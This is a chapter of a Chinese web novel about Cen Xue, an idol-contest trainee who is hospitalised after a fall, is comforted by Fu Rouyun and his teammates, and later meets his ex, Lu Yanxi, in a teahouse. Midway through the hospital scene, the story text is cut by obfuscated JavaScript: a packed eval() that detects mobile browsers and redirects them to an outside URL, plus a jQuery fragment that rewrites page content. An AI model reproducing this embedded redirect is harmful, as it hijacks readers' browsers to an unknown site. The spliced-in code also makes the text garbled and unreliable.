从楼梯上摔下去,会怎么样?
岑雪被救护车送到医院。
“病人有点低烧,另外轻度脑震荡、小腿骨裂,好在不严重,休养一个月多点没问题,前期少动。”
医生扫过报告,眉头一皱,六七旬的老医生,不管什么明星爱豆体重管理,像对小辈一样念叨:
“这个体重近期下降太快了,怎么还有点营养不良?免疫力不行哦!”
“我说年轻人一天天别压力那么大,也别瞎减肥,你有多胖嘛?”医生瞅岑雪一眼,“脸有巴掌大莫?真的是,小心以后得厌食,等烧退了多留院几天输点营养液吧。”
岑雪……岑雪躺在病床上,小腿被支具固定,手在输液,动弹不得。
面对医生谴责的目光,只能讨好地笑笑:“不会了、不会了。”
岑雪的示弱专攻范围上通八十岁老人,下至满月孩童。
老爷子医生顺手捏了把手臂肉,咂嘴道我孙孙都比你有膘,恨不得亲手给岑雪做满汉全席,再度警告他三餐正常吃,摇头晃脑走了。
岑雪长舒一口气,望向天花板发呆。
没想到,结束选秀的方式是因为摔下楼梯负伤,不得不退出。
一轮游的合同也莫名其妙完成了。
——做偶像,好辛苦啊。
心里蓦地闪过这句话。
其实在一公训练后期岑雪就有些力不从心,这似乎是必然的结果——吃不饱的减脂餐、超负荷的运动量、耗费心神带入歌曲演绎,不只是他一个人体重下降,傅揉云也瘦了许多,有天晚上回宿舍,还撞见陈肖河蹲在墙边哭。
问他怎么了,这个双开门可怜哽咽:“哥哥们,我肌肉要掉没了。”
岑雪和傅揉云:“……”
健身人士的心肝肌肉,确实要练起来不容易。
当然,在前任面前死遁掉马这时,要承受住也是很考验心力的。
岑雪完全靠着要争口气的信念,坚持到舞台当天。
全力以赴,最后也得到了满意的结果,《衣柜》A组总票胜出全员加分,也算是个好结局了,不是么?
只是……
病房门推开,傅揉云端着调好的温水进来。
“哥,吃药。”
还带了点鼻音,一看眼睛红通通的。
摔下楼梯的是岑雪,岑雪没哭,傅揉云已经泪奔过一次。
“都怪我……!”他在病床边捂脸痛哭,抽噎得要喘不上气。
岑雪住院,他当然也要退赛。
悲痛之切,引得路过护士频频关注,岑雪用仅剩一只能活动的手扒拉他,证明自己还没死,不许哭丧。
“不许哭,”他最后只能强硬要求,“我都没哭,你伤心什么?”
说来也真是,别老看岑雪自带破碎的怜爱感,反而他不爱哭的。
把岑雪的床摇起来,傅揉云小心翼翼道:“你现在有没有觉得头晕、想吐?”
“……”
脑震荡之于他不是头一遭。
仔细感受,现在症状并没不适到难忍的程度。
可岑雪顿了几秒,说道:“有一点点。”
按照他的性格,他本会说“没事”的。
但是……岑雪惊讶发现,自己变脆弱了。
忍不住想要卖惨?撒娇?
明明小时候也是被许中强扔下楼,他还能坚持上学读书呢。
可看见傅揉云慌张心疼的反应,想要触碰他却又珍惜踌躇的样子,岑雪心中冒起好诡异的满足感。
……只是一点点、一点点。
但也足够了。
以傅揉云的做派,恨不得把自己都赔给岑雪,谁叫是他要岑雪来选秀的。
他给升级了单人特级病房,自带一张陪护床,不过比较小。
晚上,他没有睡,盯着岑雪的呼吸起伏。
岑雪睡着的表情不算放松,一定是很不舒服,等到听见窗外“咕咕咕咕”四声鸟叫,他才醒神,原来一整晚自己都没有换过姿势。
于是第二天,傅揉云落枕了。
就算如此,他梗着脖子硬拼到底:“哥,你要想喝水、吃饭、洗澡、上厕所什么的尽管吩咐我,别的也行。”
誓死也要把岑雪伺候好。
看他的痛苦面具,一时间不知道是谁身残志坚,岑雪道:“傅总给的工伤赔偿已经到账上了。”
是的,岑雪这种情况,属于工伤。
傅总甚至给岑雪批了三个月的带薪假期。
傅揉云一愣:“什么?”
“我的意思是,我们可以请护工,”岑雪看他脸色一秒暗淡,很快又扔下甜头,“但我有别的事要麻烦你,我在网上租了一套二居室,你帮我去看看好么?找保洁开个荒。”
最近一个月,岑雪谨遵医生叮嘱,不离开本地了。
他支具要固定四周,等取下来再说。
傅揉云抓住重点:“二、二居室是——”
“哦,”岑雪撇头,对向窗台,“我以为你想在这儿玩一阵子。”
傅揉云生怕他反悔,扑过来:“我愿意的!”
特别庄重,不知道的还以为是答应结婚宣言。
他特意留一个房间,他心里有我。
同居,哈哈哈哈,同居,傅揉云心里不断刷屏这个词,有个小人在跳舞。
丝毫忘记在傅家时,他们也是住一个家里,有什么区别?
*
过了两天,《衣柜》A组的队友来探望岑雪。
病床被团团围住,好热闹。
队友心疼死了,李慕也责怪自己应该多向节目组反应。
除此之外,他们还带来喜报,第一次淘汰已经出来了,A组全员幸存。
以及食堂改革,不再定额分发减脂餐便当,经营自助模式,同时定期管理检查成员身体素质。
据说自助开放第一天,陈肖河一人拿了二十颗水煮蛋。
多吃蛋白,拯救肌肉。
然后又去跪求节目组发健胃消食片。
李慕左看右看,突然凑近岑雪小声说:“等下有摄影进来,不愿意的话,你就拒绝。”
懂了,无良马里奥来取材了。
不过这四舍五入算傅家产业,岑雪包容度很高,还有闲心对镜头打招呼。
一轮公演那天很多没抽选到资格的粉丝就堵在场地外面,希望能见到练习生,实在不成听听漏音也成嘛。
救护车当然也逃不过他们的眼睛。
岑雪前脚到医院,后脚热搜就上了。
节目组需要岑雪拍些物料来调节舆论,也能理解。
只不过当摄影师靠近岑雪时,出了一点意外。
岑雪本来想分给他们吃水果,可能是被灯闪了闪眼睛,脑震荡后遗症袭来,又刚好朝摄影侧过身——
一股倒逼的恶心涌上喉咙,他吐了。
吐的一瞬间是毫无知觉的,整个人的无法控制,要不是傅揉云仓促下逮住他输液的手,不然针都会被扯出来。
食道是被刀刃刮过似的辛辣、疼痛,岑雪后知后觉要制止也来不及了,还倒呛几口,剧烈地咳嗽声都不能太敞亮,越用劲越疼,只能榨出断断续续的气音。
“别拍了!”
傅揉云喝退摄影,挡在镜头前。
李慕不由分说,第一个抓住摄影手臂往外带。
“你们全都先出去吧。”
两个队友和他一起拦下节目组,剩下两个去拿清扫工具。
傅揉云拿湿纸巾给岑雪擦干净身上。
短短的一会儿,岑雪面上一直是无措的恍然,眼尾睫毛挂着几颗生理性泪珠,更显得可怜。
“……对不起。”他的声音微弱的像小猫。
那种一直叫着、想要人来抱,却没能心满意足叫到嗓子哑掉的小猫。
“别,这又控制不了。”傅揉云去擦他的泪水。
然而这一擦,反而更加止不住,岑雪一眨眼,又有好多颗落出来,砸在傅揉云的手背上。
不常哭的人一掉泪,是要人命的。
岑雪也不知道为什么,是怕疼么?那早该哭了,是怕丢脸么?其实操作几番后期剪掉就行了。
哭的话,一般还伴随发泄一样的声音,痛呼、长叹、哽咽都可以,但岑雪偏偏也没有,他哭的动静极小,仅仅呼吸急促了些,除此之外就没有任何声音。
与这架势相反的,是他哭的程度。
声音越小,眼泪越是汹涌。
耳朵也开始耳鸣。
傅揉云都慌了:“哥,你怎么了?你别吓我!”
等李慕和剩下队友一回来,岑雪一看见他们,停了一下。
——很快又止不住。
傅揉云找不到原因,他鼻子跟着发酸,特别是后面岑雪捂住自己的脸,不让他们看,有泪水从指缝间落下了,他伸手接住,像是被刀尖砸下来。
队友早乱成一团,手忙脚乱。
安慰的话穿插在一起,偶尔还撞车,你别拦着我,我别拦着你。
“是腿疼吗?叫医生吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053507|177041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“得吃镇痛药吧,我小时候也骨折过老折磨人了——”
“会不会说话啊你闭嘴!”
“岑雪刚才的事我们不会往外说的,病人这样很正常呀。”
“就是就是,也不脏,我刚刚拿垃圾桶接了大半,你看我这拖把拖两下就没了。”
“我靠能不能别在我说话的时候音轨重叠?”
“岑雪你看这个视频小鸭子在水里游耶——”
“滚滚滚,他是脑震荡又不是摔成弱智!”
“哥,你要是痛的话,就掐我吧,我受得住,”傅揉云仍在努力找原因,“还是他们太吵了?我把他们赶出去。”
几个队友交换眼色,顿时上道。
假装推搡几下,还往外走几步,脚步用力发出声响。
一边注意岑雪,一边演戏:“哎呀,傅揉云你推我干什么。”
“我们都是关心岑雪啊,总不能找不到原因,就怪在我们身上。”
“我们好不容易出村一次的。”
李慕被带着往后拉,队友用胳膊肘戳他,疯狂挤眉弄眼。
“啊呀,”毫无感情地棒读,李慕道,“你怎么这样呀。”
音调都是平的,全一声。
这演技,与演戏彻底无缘了。
但好使。
似乎是担心傅揉云真把人赶走,岑雪终于露出眼睛。
被众人抓个正着。
“怎么……骗我?”好委屈。
李慕立马指认犯人:“他们干的。”
这一打岔,倒是止住了泪水。
可傅揉云摸不准是泪流干净了,还是真的停下来,他生怕惊动岑雪,用湿纸巾蹭蹭他的脸。
“哥,到底怎么回事,你说出来好不好。”
岑雪反而脸红,低头。
“没什么。”他闷闷地说。
该怎么说出来?
因为头一次被这么多人关心,心里又莫名脆弱,太幸福了所以才哭的?
怎么会有人开心成那样,把所有人吓了一跳。
不擅长哭的人,连找不到合适的理由也觉得难堪。
岑雪下意识依赖最亲近的人,他不动声色揪住傅揉云的衣角。
傅揉云就明白了。
“哥,你痛就早说嘛,”把岑雪挡住,像是他小声说过的样子,傅揉云自演自编,“等下我找医生看能不能加点止痛药哦。”
至此,队友们这才松了一口气。
然而他们安心走后,傅揉云作的势全然垮塌,他抱住岑雪。
“岑雪,你别再这样吓我了。”
还有点儿发抖。
岑雪默默受住,拍拍他的肩。
他也觉得自己有点变了,不太像原来。
但看来,参加选秀也不是一件完全坏的事。李慕他们送的果篮,有一串好甜的葡萄,刚尝一颗他就停下来,舍不得吃。
……
一个半月后。
某家茶馆。
“欢迎光临!”
戴黑口罩的男人先是观望店里,然后收回视线对服务员道:“我姓岑,和陆老师约好了的。”
“陆老师在单独的包厢,岑先生跟我来吧。”
服务员把他领入茶馆深处,安静极了。
推开包厢的门,里面的空间一览无余,古色古香的装修,倒是很适配茶馆的气质。
然而岑雪一眼就见到坐在里面等待的陆雁昔。
终于,在康复得七七八八后,岑雪应了他的邀约,毕竟是早就答应好的事。
他把见面定在这家茶馆,说是朋友开的,有投资,不用担心消息外露。
把包放在旁边椅子上,岑雪坐下,在手机上点完单。
一串动作下来,陆雁昔一言不发,只是视线像是缝在他身上,紧紧黏着,一分一秒也不错过。
岑雪只好:“想什么呢?难道约我只是单出看我两眼,有没有少胳膊少腿?”
陆雁昔如梦初醒。
“抱歉,”他否认:“我只是觉得……好久没这样和你面对面了。”
“是么。”
“嗯。”
陆雁昔低头,盯着自己的茶杯,有茶梗在里面晃。
他深吸一口气,像是豁出去道:“我们单独见面的事……没问题么?他知道么?会不会不太好。”
“?”
岑雪歪头。
差点忘了,陆雁昔莫名其妙的小三剧本。
“我人坐在这里都有五分钟,你现在才问是不是稍显没用了?”